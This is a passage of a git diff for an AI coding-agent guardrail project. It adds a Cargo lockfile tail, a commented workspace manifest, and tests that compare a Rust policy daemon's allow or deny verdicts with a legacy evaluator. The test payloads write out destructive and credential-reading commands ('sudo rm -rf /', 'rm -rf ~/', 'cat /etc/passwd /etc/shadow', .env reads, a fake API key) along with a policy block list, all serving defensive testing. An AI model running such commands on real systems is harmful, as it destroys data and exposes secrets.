"b6fe4565b9518b83ef4f91bb47ce29620ca828bd32cb7e408f0062e9930ba190" +dependencies = [ + "bitflags", + "errno", + "libc", + "linux-raw-sys", + "windows-sys", +] + +[[package]] +name = "rusty-fork" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc6bf79ff24e648f6da1f8d1f011e9cac26491b619e6b9280f2b47f1774e6ee2" +dependencies = [ + "fnv", + "quick-error", + "tempfile", + "wait-timeout", +] + +[[package]] +name = "serde" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4148590afebada386688f18773da617792bf2ef03ffc1e4cbd2b1d45b023e0ba" +dependencies = [ + "serde_core", + "serde_derive", +] + +[[package]] +name = "serde_core" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67dca2c9c51e58a4791a4b1ed58308b39c64224d349a935ab5039aa360942a48" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.229" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7a5d71263a5a7d47b41f6b3f06ba276f10cc18b0931f1799f710578e2309348" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.3", +] + +[[package]] +name = "serde_json" +version = "1.0.151" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c841b55ecdae098c80dcae9cf767f6f8a0c2cdb3416bbef72181df4d0fe73f14" +dependencies = [ + "itoa", + "memchr", + "serde", + "serde_core", + "zmij", +] + +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" + +[[package]] +name = "shlex" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8fadd59c855ef2080decdef8ff161eb6661b86933c9d82e5ba29dc602a55aba" + +[[package]] +name = "socket2" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3d1e2c7f27f8d4cb10542a02c49005dbd6e93095799d6f3be745fae9f8fedd4" +dependencies = [ + "libc", + "windows-sys", +] + +[[package]] +name = "syn" +version = "2.0.119" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "872831b642d1a07999a962a351ed35b955ea2cfc8f3862091e2a240a84f17297" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "3.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53e9bae58849f64dfa4f5d5ae372c8341f7305f82a3868709269343628b659a3" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "tempfile" +version = "3.27.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32497e9a4c7b38532efcdebeef879707aa9f794296a4f0244f6f69e9bc8574bd" +dependencies = [ + "fastrand", + "getrandom 0.4.3", + "once_cell", + "rustix", + "windows-sys", +] + +[[package]] +name = "thiserror" +version = "2.0.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09a43598840e33d5b0331f38c5e30d13bb11c11210a4b58f0d9b18a5a5eefcd9" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "2.0.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "43cbfe0cf76104d42a574802844187e84a305e531ed54455f11fbde0f10541cd" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.3", +] + +[[package]] +name = "tokio" +version = "1.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "202caea871b69668250d242070849eb495be178ed697a3e98aebce5bc81a0bed" +dependencies = [ + "bytes", + "libc", + "mio", + "pin-project-lite", + "socket2", + "tokio-macros", + "windows-sys", +] + +[[package]] +name = "tokio-macros" +version = "2.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78773a2a397f451582ce068015985c33193cf6dea8b74d2a639fe457b2f07b0e" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.3", +] + +[[package]] +name = "toml_datetime" +version = "1.1.1+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3165f65f62e28e0115a00b2ebdd37eb6f3b641855f9d636d3cd4103767159ad7" +dependencies = [ + "serde_core", +] + +[[package]] +name = "toml_edit" +version = "0.25.13+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6975367e4d2ef766d86af01ffad14b622fecc8d4357a998fbc4deb6e9bacaf9b" +dependencies = [ + "indexmap", + "toml_datetime", + "toml_parser", + "winnow", +] + +[[package]] +name = "toml_parser" +version = "1.1.3+spec-1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d38ac1cf9b95face32296c0a3ede1fdc270627c9d9c02a7274dd6d960dc4d56" +dependencies = [ + "winnow", +] + +[[package]] +name = "unarray" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eaea85b334db583fe3274d12b4cd1880032beab409c0d774be044d4480ab9a94" + +[[package]] +name = "unicode-ident" +version = "1.0.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75" + +[[package]] +name = "unicode-segmentation" +version = "1.13.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c6f5d3c3b1bf09027a88a6bc961fc00497d651009560b5463668dc81b0fa87a8" + +[[package]] +name = "wait-timeout" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ac3b126d3914f9849036f826e054cbabdc8519970b8998ddaf3b5bd3c65f11" +dependencies = [ + "libc", +] + +[[package]] +name = "wasi" +version = "0.11.1+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" + +[[package]] +name = "wasip2" +version = "1.0.4+wasi-0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b67efb37e106e55ce722a510d6b5f9c17f083e5fc79afc2badeb12cc313d9487" +dependencies = [ + "wit-bindgen", +] + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-sys" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" +dependencies = [ + "windows-link", +] + +[[package]] +name = "winnow" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23b97319f7b8343df12cc98938e5c3eb436064524c8d2b4e30a1d3a36eecdf81" +dependencies = [ + "memchr", +] + +[[package]] +name = "wit-bindgen" +version = "0.57.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ebf944e87a7c253233ad6766e082e3cd714b5d03812acc24c318f549614536e" + +[[package]] +name = "zerocopy" +version = "0.8.55" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5a105cd7b140f6eeec8acff2ea38135d3cab283ada58540f629fe51e46696eb" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.8.55" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fe976fb70c78cd64cccfe3a6fc142244e8a77b70959b30faf9d0ac37ee228eb" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "zmij" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29666d0abbfad1e3dc4dcf6144730dd3a3ab225bbbdac83319345b1b44ccfc1b" diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 00000000..e3f43e38 --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,50 @@ +# Root of the (currently empty) Rust workspace. +# +# Stage 0 of the Phase 1 plan creates this plumbing *before* there is anything to +# break, so the `rust-quality` CI job is green from the first commit and the +# first real crate lands against a working gate rather than establishing one. +# +# `members = ["crates/*"]` is a glob over DIRECTORIES, and cargo demands a +# `Cargo.toml` in every one it matches. Verified against cargo 1.97.1: +# +# crates/ absent -> hard error, "failed to read +# `crates/*/Cargo.toml`", exit 101. +# crates/ with no subdirectory -> glob resolves to zero members; every +# cargo command that only reads the +# manifest succeeds. +# crates/ with no Cargo.toml -> hard error, same as above, naming the +# directory — which is why `crates/generated` +# is excluded below. +# +# So `crates/.gitkeep` is NOT redundant even though `crates/generated/` is now +# tracked: git records no directory of its own, only the files inside one, and +# every file under `crates/generated/` could be moved or removed by the crate +# that consumes it. The `.gitkeep` guarantees a fresh clone has a `crates/` +# regardless, which is the difference between the glob resolving to zero members +# and cargo refusing to read the workspace at all. +[workspace] +resolver = "3" +members = ["crates/*"] +# `crates/generated` holds data files (canonicalization tables emitted by +# scripts/gen-canon-tables.ts) that a future `fpai-canon` crate will `include!`. +# It is deliberately not a crate, so it has no manifest and must be kept out of +# the members glob. +exclude = ["node_modules", ".next", "integration-suite", "crates/generated"] + +# Every crate inherits from here with `version.workspace = true` etc. +# `scripts/check-versions.mjs` asserts (a) this version equals the root +# package.json version and (b) no crate declares a literal `version = "..."`. +[workspace.package] +version = "0.0.16-beta.0" +edition = "2024" +license = "SEE LICENSE IN LICENSE" +repository = "https://github.com/FailproofAI/failproofai.git" +rust-version = "1.90" + +[workspace.lints.rust] +unsafe_code = "warn" + +[profile.release] +lto = "thin" +codegen-units = 1 +strip = "symbols" diff --git a/__tests__/e2e/daemon/cross-implementation.e2e.test.ts b/__tests__/e2e/daemon/cross-implementation.e2e.test.ts new file mode 100644 index 00000000..f273b267 --- /dev/null +++ b/__tests__/e2e/daemon/cross-implementation.e2e.test.ts @@ -0,0 +1,335 @@ +/** + * The Stage-1 acceptance gate: the TypeScript hook client against the real + * Rust daemon. + * + * Everything else in the suite tests one side. `daemon-client.test.ts` drives + * the client against a hand-written mock server; `crates/failproofaid/tests/ + * daemon_e2e.rs` drives the daemon from a hand-written Rust client. Both can + * pass while the two disagree — which is exactly what happens when two + * independent implementations are written from one prose spec, and it is the + * failure `crates/PROTOCOL.md` exists to prevent and cannot prevent by itself. + * + * So this file connects the two real implementations and asserts that the bytes + * a harness receives are **identical** to what the legacy in-process evaluator + * would have produced. That is the Stage-1 exit criterion stated verbatim in + * 01-stages.md: + * + * > one Claude `PreToolUse` deny byte-identical to legacy + * + * plus the `=off` half of it: + * + * > `FAILPROOFAI_DAEMON_MODE=off` and an unset socket must both produce output + * > identical to `main` across the entire e2e suite. + * + * Skipped, loudly, when `cargo` is unavailable or the daemon fails to build — + * a skipped test that says why is honest; one that silently passes is not. + */ +import { describe, it, expect, beforeAll, afterAll } from "vitest"; +import { spawn, spawnSync, type ChildProcess } from "node:child_process"; +import { mkdirSync, writeFileSync, rmSync, existsSync } from "node:fs"; +import { resolve as resolvePath } from "node:path"; +import { userInfo } from "node:os"; +import { setTimeout as delay } from "node:timers/promises"; + +import { tryDaemonEvaluate } from "../../../src/hooks/daemon-client"; +import { buildLocalEnvelope } from "../../../src/hooks/request-envelope"; +import { readLocalHostFacts } from "../../../src/hooks/local-host"; +import { clearPolicies } from "../../../src/hooks/policy-registry"; +import { registerBuiltinPolicies } from "../../../src/hooks/builtin-policies"; +import { evaluatePolicies } from "../../../src/hooks/policy-evaluator"; +import type { HookEventType, IntegrationType } from "../../../src/hooks/types"; + +const REPO_ROOT = resolvePath(__dirname, "..", "..", ".."); +/** Kept inside the repo: the dogfood policies block writes outside it. */ +const SCRATCH = resolvePath(REPO_ROOT, "target", "daemon-e2e"); +const SOCKET = resolvePath(SCRATCH, "failproofaid.sock"); +const INSTALL_JSON = resolvePath(SCRATCH, "install.json"); + +/** + * The enabled set sent to both sides. + * + * The daemon has no policy list of its own — it evaluates whatever the client + * sends, which is the fix for the defect where it enforced 11 builtin defaults + * regardless of the user's 30 enabled policies. So this list is the *client's* + * resolved set, handed identically to the daemon and to the legacy evaluator; + * anything else would make the comparison measure configuration rather than + * implementation. + * + * It happens to be the default-enabled set, which keeps the comparison + * representative of a stock install. + */ +const DAEMON_POLICY_SET = [ + "sanitize-jwt", + "sanitize-api-keys", + "sanitize-connection-strings", + "sanitize-private-key-content", + "sanitize-bearer-tokens", + "protect-env-vars", + "block-env-files", + "block-sudo", + "block-curl-pipe-sh", + "block-failproofai-commands", + "block-push-master", +]; + +let daemon: ChildProcess | undefined; +let available = false; +let skipReason = ""; + +const originalEnv = { + mode: process.env.FAILPROOFAI_DAEMON_MODE, + socket: process.env.FAILPROOFAI_DAEMON_SOCKET, + install: process.env.FAILPROOFAI_INSTALL_JSON, +}; + +beforeAll(async () => { + const build = spawnSync("cargo", ["build", "-p", "failproofaid"], { + cwd: REPO_ROOT, + encoding: "utf8", + timeout: 15 * 60_000, + }); + if (build.status !== 0) { + skipReason = `cargo build failed: ${(build.stderr || build.error?.message || "").slice(-600)}`; + return; + } + + const binary = resolvePath(REPO_ROOT, "target/debug/failproofaid"); + if (!existsSync(binary)) { + skipReason = `built, but ${binary} is missing`; + return; + } + + rmSync(SCRATCH, { recursive: true, force: true }); + mkdirSync(SCRATCH, { recursive: true }); + + // The client verifies the socket's owner against `service_uid`. v1.0.0 runs + // in user scope, so in a real install that is the invoking user's own uid — + // which is what this writes, and what the daemon spawned below will own the + // socket as. Writing anything else would make the test pass for the wrong + // reason. + writeFileSync( + INSTALL_JSON, + JSON.stringify({ service_uid: userInfo().uid, version: "test" }, null, 2), + ); + + daemon = spawn(binary, ["--socket", SOCKET], { + cwd: REPO_ROOT, + stdio: ["ignore", "pipe", "pipe"], + }); + daemon.stderr?.on("data", () => { + /* drained so the pipe cannot fill and block the daemon */ + }); + + // Poll rather than sleep a fixed amount: the bundle load dominates startup + // and varies with machine load. + for (let i = 0; i < 100; i++) { + if (existsSync(SOCKET)) { + available = true; + break; + } + if (daemon.exitCode !== null) { + skipReason = `daemon exited during startup with code ${daemon.exitCode}`; + return; + } + await delay(100); + } + if (!available) skipReason = "daemon did not bind its socket within 10s"; + + process.env.FAILPROOFAI_DAEMON_SOCKET = SOCKET; + process.env.FAILPROOFAI_INSTALL_JSON = INSTALL_JSON; +}, 16 * 60_000); + +afterAll(() => { + daemon?.kill("SIGTERM"); + rmSync(SCRATCH, { recursive: true, force: true }); + for (const [key, value] of [ + ["FAILPROOFAI_DAEMON_MODE", originalEnv.mode], + ["FAILPROOFAI_DAEMON_SOCKET", originalEnv.socket], + ["FAILPROOFAI_INSTALL_JSON", originalEnv.install], + ] as const) { + if (value === undefined) delete process.env[key]; + else process.env[key] = value; + } +}); + +function envelopeFor( + cli: IntegrationType, + eventType: HookEventType, + payload: Record, +) { + return buildLocalEnvelope({ + cli, + eventType, + rawEventType: eventType, + payload, + cwd: "/home/u/project", + sessionId: "sess-cross", + permissionMode: "default", + hookEventName: eventType, + host: readLocalHostFacts(), + }); +} + +/** The legacy in-process answer for the same event and the same policy set. */ +async function legacyAnswer( + cli: IntegrationType, + eventType: HookEventType, + payload: Record, +) { + clearPolicies(); + registerBuiltinPolicies(DAEMON_POLICY_SET); + const facts = readLocalHostFacts(); + return evaluatePolicies(eventType, payload, { + cli, + cwd: "/home/u/project", + home: facts.home, + permissionMode: "default", + sessionId: "sess-cross", + hookEventName: eventType, + }, { enabledPolicies: DAEMON_POLICY_SET }); +} + +describe("TypeScript client ↔ Rust daemon", () => { + it("the daemon is running (otherwise every assertion below is vacuous)", () => { + expect(available, skipReason || "daemon unavailable").toBe(true); + }); + + it("denies sudo byte-identically to the legacy evaluator", async () => { + if (!available) return; + process.env.FAILPROOFAI_DAEMON_MODE = "enforce"; + + const payload = { tool_name: "Bash", tool_input: { command: "sudo rm -rf /" } }; + const viaDaemon = await tryDaemonEvaluate( + envelopeFor("claude", "PreToolUse", payload), + 5000, + DAEMON_POLICY_SET, + ); + expect(viaDaemon, "the daemon must answer, not fall back").not.toBeNull(); + + const viaLegacy = await legacyAnswer("claude", "PreToolUse", payload); + + // Byte-exact on every field a harness observes. Not `toMatchObject` — a + // missing field would pass that. + expect(viaDaemon!.exitCode).toBe(viaLegacy.exitCode); + expect(viaDaemon!.stdout).toBe(viaLegacy.stdout); + expect(viaDaemon!.stderr).toBe(viaLegacy.stderr); + expect(viaDaemon!.decision).toBe(viaLegacy.decision); + expect(viaDaemon!.policyName).toBe(viaLegacy.policyName); + expect(viaDaemon!.reason).toBe(viaLegacy.reason); + }); + + /** + * A cross-section rather than the whole matrix: this spawns no processes but + * does cross a socket per row, so the full 5,568-fixture corpus belongs in + * the Stage-2 parity harness. These are the shapes most likely to diverge — + * the two sanitizers that stringify the whole payload, a params-driven + * allowlist, and one row per response family. + */ + const CASES: Array<{ + name: string; + cli: IntegrationType; + event: HookEventType; + payload: Record; + }> = [ + { name: "claude deny", cli: "claude", event: "PreToolUse", payload: { tool_name: "Bash", tool_input: { command: "sudo id" } } }, + { name: "claude allow", cli: "claude", event: "PreToolUse", payload: { tool_name: "Bash", tool_input: { command: "echo hi" } } }, + { name: "cursor deny (flat shape)", cli: "cursor", event: "PreToolUse", payload: { tool_name: "Bash", tool_input: { command: "sudo id" } } }, + { name: "factory deny (exit 2)", cli: "factory", event: "PreToolUse", payload: { tool_name: "Bash", tool_input: { command: "sudo id" } } }, + { name: "goose deny (block json)", cli: "goose", event: "PreToolUse", payload: { tool_name: "Bash", tool_input: { command: "sudo id" } } }, + { name: "antigravity deny", cli: "antigravity", event: "PreToolUse", payload: { tool_name: "Bash", tool_input: { command: "sudo id" } } }, + { name: "copilot permission request", cli: "copilot", event: "PermissionRequest", payload: { tool_name: "Bash", tool_input: { command: "sudo id" } } }, + { name: "env file read", cli: "claude", event: "PreToolUse", payload: { tool_name: "Read", tool_input: { file_path: "/home/u/project/.env" } } }, + { name: "api key in output", cli: "claude", event: "PostToolUse", payload: { tool_name: "Bash", tool_input: { command: "x" }, tool_response: "sk-ant-abcdefghijklmnopqrstuvwxyz012345" } }, + { name: "push to main", cli: "claude", event: "PreToolUse", payload: { tool_name: "Bash", tool_input: { command: "git push origin main" } } }, + ]; + + for (const c of CASES) { + it(`agrees with legacy: ${c.name}`, async () => { + if (!available) return; + process.env.FAILPROOFAI_DAEMON_MODE = "enforce"; + + const viaDaemon = await tryDaemonEvaluate(envelopeFor(c.cli, c.event, c.payload), 5000, DAEMON_POLICY_SET); + expect(viaDaemon, `${c.name}: daemon fell back instead of answering`).not.toBeNull(); + + const viaLegacy = await legacyAnswer(c.cli, c.event, c.payload); + expect({ + exitCode: viaDaemon!.exitCode, + stdout: viaDaemon!.stdout, + stderr: viaDaemon!.stderr, + decision: viaDaemon!.decision, + policyName: viaDaemon!.policyName, + reason: viaDaemon!.reason, + }).toEqual({ + exitCode: viaLegacy.exitCode, + stdout: viaLegacy.stdout, + stderr: viaLegacy.stderr, + decision: viaLegacy.decision, + policyName: viaLegacy.policyName, + reason: viaLegacy.reason, + }); + }); + } + + it("is dead code with the mode unset, even with a live daemon", async () => { + if (!available) return; + delete process.env.FAILPROOFAI_DAEMON_MODE; + const result = await tryDaemonEvaluate( + envelopeFor("claude", "PreToolUse", { + tool_name: "Bash", + tool_input: { command: "sudo id" }, + }), + 5000, + DAEMON_POLICY_SET, + ); + expect(result).toBeNull(); + }); + + it("falls back when the mode is explicitly off", async () => { + if (!available) return; + process.env.FAILPROOFAI_DAEMON_MODE = "off"; + const result = await tryDaemonEvaluate( + envelopeFor("claude", "PreToolUse", { + tool_name: "Bash", + tool_input: { command: "sudo id" }, + }), + 5000, + DAEMON_POLICY_SET, + ); + expect(result).toBeNull(); + }); + + it("falls back when the socket path is wrong, without throwing", async () => { + if (!available) return; + process.env.FAILPROOFAI_DAEMON_MODE = "enforce"; + const saved = process.env.FAILPROOFAI_DAEMON_SOCKET; + process.env.FAILPROOFAI_DAEMON_SOCKET = resolvePath(SCRATCH, "nope.sock"); + try { + const result = await tryDaemonEvaluate( + envelopeFor("claude", "PreToolUse", { + tool_name: "Bash", + tool_input: { command: "sudo id" }, + }), + 5000, + DAEMON_POLICY_SET, + ); + expect(result).toBeNull(); + } finally { + process.env.FAILPROOFAI_DAEMON_SOCKET = saved; + } + }); + + it("stays consistent across many round trips on a warm daemon", async () => { + if (!available) return; + process.env.FAILPROOFAI_DAEMON_MODE = "enforce"; + const envelope = envelopeFor("claude", "PreToolUse", { + tool_name: "Bash", + tool_input: { command: "cat /etc/passwd /etc/shadow" }, + }); + const first = await tryDaemonEvaluate(envelope, 5000, DAEMON_POLICY_SET); + expect(first).not.toBeNull(); + for (let i = 0; i < 100; i++) { + const again = await tryDaemonEvaluate(envelope, 5000, DAEMON_POLICY_SET); + expect(again, `diverged at round trip ${i}`).toEqual(first); + } + }, 60_000); +}); diff --git a/__tests__/hooks/builtin-host-context.test.ts b/__tests__/hooks/builtin-host-context.test.ts new file mode 100644 index 00000000..6309891f --- /dev/null +++ b/__tests__/hooks/builtin-host-context.test.ts @@ -0,0 +1,217 @@ +/** + * Stage 0 / P2 — host context arrives as request data, not as an ambient read. + * + * `block-read-outside-cwd.test.ts` (632 lines) already proves the *legacy* + * behaviour is unchanged: with no `home` / `projectDir` on the session, the + * policies fall back to this process's `os.homedir()` and + * `$CLAUDE_PROJECT_DIR` exactly as before. That suite is the compatibility + * gate and is deliberately untouched. + * + * This suite proves the other half — the half the daemon depends on and that + * nothing else covers: when the session DOES carry `home` / `projectDir`, the + * policies use those and ignore the host entirely. + * + * Why that matters concretely: the daemon is a resident process answering for + * sessions it did not start, so its own `homedir()` is whatever its launch + * environment said — a systemd user unit with a minimal `Environment=`, a + * container entrypoint, a test harness. A sealed `block-read-outside-cwd` + * reading that ambient home would whitelist the wrong `~/.claude`, for every + * session at once, and would be quietly wrong in both directions while doing + * it. And because `isAgentInternalPath` *widens* the allow set, + * getting it wrong relaxes a verdict rather than tightening one, which is the + * failure mode that does not announce itself. + */ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { homedir } from "node:os"; +import { blockReadOutsideCwd, blockRmRf } from "../../src/hooks/builtin/payload-only"; +import { + resolveHome, + resolveProjectDir, + setHostContextFallback, + resetHostContextFallback, +} from "../../src/hooks/builtin/host-context"; +import type { PolicyContext } from "../../src/hooks/policy-types"; +// Importing the registry installs the real host fallback as a side effect — +// which is exactly the wiring under test. +import "../../src/hooks/builtin-policies"; + +const PROJECT = "/srv/work/project"; +/** A home that is definitely not this process's, so a leak is unambiguous. */ +const OTHER_HOME = "/home/enrolled-user"; + +function ctx(overrides: Partial & { session?: PolicyContext["session"] }): PolicyContext { + return { + eventType: "PreToolUse", + payload: {}, + params: {}, + ...overrides, + } as PolicyContext; +} + +describe("resolveHome / resolveProjectDir", () => { + afterEach(() => { + // Restore the wiring `builtin-policies.ts` installs at import. + setHostContextFallback({ + home: () => homedir(), + projectDir: () => process.env.CLAUDE_PROJECT_DIR, + }); + }); + + it("prefers request data over the host", () => { + const c = ctx({ session: { home: OTHER_HOME, projectDir: PROJECT } }); + expect(resolveHome(c)).toBe(OTHER_HOME); + expect(resolveHome(c)).not.toBe(homedir()); + expect(resolveProjectDir(c)).toBe(PROJECT); + }); + + it("falls back to the host when the envelope carried nothing", () => { + expect(resolveHome(ctx({ session: {} }))).toBe(homedir()); + expect(resolveHome(ctx({}))).toBe(homedir()); + }); + + it("treats an empty-string home as absent rather than as root", () => { + // A `home: ""` reaching `join("", ".claude")` would produce the relative + // path `.claude`, and an empty `$HOME` expansion would turn `~/x` into + // `/x`. Both are wrong; absent-means-fallback is the safe reading. + expect(resolveHome(ctx({ session: { home: "" } }))).toBe(homedir()); + }); + + it("treats an empty-string projectDir as absent, matching the `||` it replaced", () => { + // The code this replaced was `process.env.CLAUDE_PROJECT_DIR || cwd`, so an + // env var set to "" fell through to cwd. `??` would have changed that. + expect(resolveProjectDir(ctx({ session: { projectDir: "" } }))).toBeUndefined(); + }); + + it("fails closed when neither request data nor a fallback is available", () => { + resetHostContextFallback(); + expect(resolveHome(ctx({ session: {} }))).toBe(""); + expect(resolveProjectDir(ctx({ session: {} }))).toBeUndefined(); + }); +}); + +describe("block-read-outside-cwd reads home from the request", () => { + const originalProjectDir = process.env.CLAUDE_PROJECT_DIR; + + beforeEach(() => { + delete process.env.CLAUDE_PROJECT_DIR; + }); + + afterEach(() => { + if (originalProjectDir === undefined) delete process.env.CLAUDE_PROJECT_DIR; + else process.env.CLAUDE_PROJECT_DIR = originalProjectDir; + }); + + it("whitelists the REQUESTING user's agent dir, not the evaluating process's", () => { + const result = blockReadOutsideCwd( + ctx({ + toolName: "Read", + toolInput: { file_path: `${OTHER_HOME}/.claude/CLAUDE.md` }, + session: { cwd: PROJECT, home: OTHER_HOME }, + }), + ); + expect(result.decision).toBe("allow"); + }); + + it("does NOT whitelist the evaluating process's agent dir when a home was supplied", () => { + // The inverse, and the one that actually catches a leak: with the request + // naming a different home, this process's own ~/.claude must be treated + // like any other out-of-project path. + const result = blockReadOutsideCwd( + ctx({ + toolName: "Read", + toolInput: { file_path: `${homedir()}/.claude/CLAUDE.md` }, + session: { cwd: PROJECT, home: OTHER_HOME }, + }), + ); + expect(result.decision).toBe("deny"); + expect(result.reason).toContain("outside project directory"); + }); + + it("prefers session.projectDir over session.cwd", () => { + // cwd has drifted into a subdirectory; projectDir is the stable root, so a + // sibling under the root is in-project. + const result = blockReadOutsideCwd( + ctx({ + toolName: "Read", + toolInput: { file_path: `${PROJECT}/docs/readme.md` }, + session: { cwd: `${PROJECT}/src/deep/nested`, projectDir: PROJECT, home: OTHER_HOME }, + }), + ); + expect(result.decision).toBe("allow"); + }); + + it("expands ~ in a Bash read against the request's home", () => { + const result = blockReadOutsideCwd( + ctx({ + toolName: "Bash", + toolInput: { command: "cat ~/secrets.txt" }, + session: { cwd: PROJECT, home: OTHER_HOME }, + }), + ); + expect(result.decision).toBe("deny"); + expect(result.reason).toContain(`${OTHER_HOME}/secrets.txt`); + }); + + it("still blocks an agent settings file even inside the request's own home", () => { + // Settings files are checked BEFORE the internal-path whitelist, and that + // ordering must survive the threading. + const result = blockReadOutsideCwd( + ctx({ + toolName: "Read", + toolInput: { file_path: `${OTHER_HOME}/.claude/settings.json` }, + session: { cwd: PROJECT, home: OTHER_HOME }, + }), + ); + expect(result.decision).toBe("deny"); + expect(result.reason).toContain("agent settings file"); + }); +}); + +describe("block-rm-rf expands ~ against the request's home", () => { + it("counts a delete of the request's home as catastrophic", () => { + const result = blockRmRf( + ctx({ + toolName: "Bash", + toolInput: { command: "rm -rf ~/" }, + session: { cwd: PROJECT, home: OTHER_HOME }, + }), + ); + expect(result.decision).toBe("deny"); + }); + + // Note the deliberate use of home-relative COMMAND tokens below. An absolute + // `/home//scratch` is three segments deep and therefore never + // catastrophic, so it would exit `blockRmRf` before the allowlist is + // consulted and the assertion would pass without testing anything. `~/scratch` + // is one segment below the home root, which is what puts it on the + // catastrophic path where `expandHomePrefix` — and therefore `home` — decides + // the outcome. + + it("matches an allowPaths entry that expands against the request's home", () => { + const result = blockRmRf( + ctx({ + toolName: "Bash", + toolInput: { command: "rm -rf ~/scratch" }, + params: { allowPaths: [`${OTHER_HOME}/scratch`] }, + session: { cwd: PROJECT, home: OTHER_HOME }, + }), + ); + expect(result.decision).toBe("allow"); + }); + + it("does not match that same allowPaths entry when the request names a different home", () => { + // Identical command and identical allowlist; only `home` changes. The + // target now expands somewhere the allowlist does not cover, so the delete + // is refused. This is the assertion that a leaked ambient `homedir()` + // would break. + const result = blockRmRf( + ctx({ + toolName: "Bash", + toolInput: { command: "rm -rf ~/scratch" }, + params: { allowPaths: [`${OTHER_HOME}/scratch`] }, + session: { cwd: PROJECT, home: "/home/someone-else" }, + }), + ); + expect(result.decision).toBe("deny"); + }); +}); diff --git a/__tests__/hooks/builtin-tier-split.test.ts b/__tests__/hooks/builtin-tier-split.test.ts new file mode 100644 index 00000000..03d1efd2 --- /dev/null +++ b/__tests__/hooks/builtin-tier-split.test.ts @@ -0,0 +1,332 @@ +/** + * Tripwire for Stage 0 / P1 — "split the builtins by capability". + * + * Two independent assertions, and the second one is the whole point. + * + * 1. The **registry snapshot**. `BUILTIN_POLICIES` must present the same 39 + * entries, in the same order, with the same category / defaultEnabled / + * beta, as it did before the split. The split moves implementations between + * modules; it must not move a policy, rename a category, or flip a default. + * + * 2. The **import-graph partition**. Execution-tier derivation reads a policy's + * *resolved import graph*: a policy whose graph reaches `node:child_process` + * cannot run in the sealed tier. Before the split all 39 builtins lived in + * one module that imports `node:child_process`, so derivation would have + * routed every one of them to `user-context` and the sealed tier would have + * been empty — an architecture that looks implemented and delivers no + * verdict integrity. This test walks the real transitive import graph of + * `src/hooks/builtin/payload-only.ts` and fails if any host module appears + * in it. Without this assertion the regression is invisible: nothing else + * in the suite notices when a stray `import { readFile }` re-fuses the two + * halves. + * + * See desgin-docs/v1.0.0/phase-1-local-enforcement/implementation/01-stages.md + * (Stage 0 → P1) and 03-risks-and-amendments.md ("Skipping P1 yields an empty + * sealed tier"). + */ +import { describe, it, expect } from "vitest"; +import { readFileSync, existsSync } from "node:fs"; +import { dirname, resolve as resolvePath } from "node:path"; +import { BUILTIN_POLICIES } from "../../src/hooks/builtin-policies"; +import { PAYLOAD_ONLY_POLICIES } from "../../src/hooks/builtin/payload-only"; +import { HOST_ACCESS_POLICIES } from "../../src/hooks/builtin/host-access"; + +const REPO_ROOT = resolvePath(__dirname, "..", ".."); + +/** + * The registry exactly as it stood before the split, captured from `main`. + * + * Regenerate ONLY when a policy is deliberately added, removed, or + * recategorised — never to make a refactor pass: + * bun -e 'import {BUILTIN_POLICIES} from 